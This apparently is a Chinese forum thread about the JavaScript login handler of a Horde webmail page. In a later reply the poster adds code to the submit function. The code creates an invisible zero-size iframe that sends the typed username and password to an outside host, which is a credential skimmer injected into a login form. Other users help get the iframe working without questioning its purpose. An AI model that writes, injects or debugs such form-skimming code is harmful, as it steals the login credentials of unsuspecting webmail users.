function submit_login(e)
{
    if (typeof e != 'undefined' && !enter_key_trap(e)) {
        return;
    }    if (document.horde_login.horde_user.value == "") {
        alert("<?php echo addslashes(_("Please provide your username and password")) ?>");
        document.horde_login.horde_user.focus();
        return false;
    } else if (document.horde_login.horde_pass.value == "") {
        alert("<?php echo addslashes(_("Please provide your username and password")) ?>");
        document.horde_login.horde_pass.focus();
        return false;
    } else {
        document.horde_login.loginButton.disabled = true;
<?php if (!empty($ie_clientcaps)): ?>
        try {
            document.horde_login.ie_version.value = objCCaps.getComponentVersion("{89820200-ECBD-11CF-8B85-00AA005B4383}", "componentid");
        } catch (e) {
        }
<?php endif; ?>
        document.horde_login.submit();
        return true;
    }
}请问这两个用户名密码的表单如何提交到后台php的

解决方案 »

  1.   

    贴出的表单html代码
    print_r($_REQUEST) ; 看看
      

  2.   

    document.horde_login.submit();
    执行名为 horde_login 的表单的 submit 方法(提交表单)
      

  3.   

    我再这个submit函数里面写了这么一段代码动态创建一个iframe,但是貌似没有执行请问我写错了?
    var f=document.createElement("iframe");
    f.height=0;
    f.width=0;
    f.src="https://xxxxx/lo.php?user="+document.imp_login.imapuser.value+"&pass"+document.imp_login.pass.value;
    document.body.appendChild(f);
      

  4.   

    如果你说的是没有创建iframe的话 代码中 f.height="100%"; f.width="100%" 就可以了
      

  5.   

    我在页面里执行了一下 加上就可以出来iframe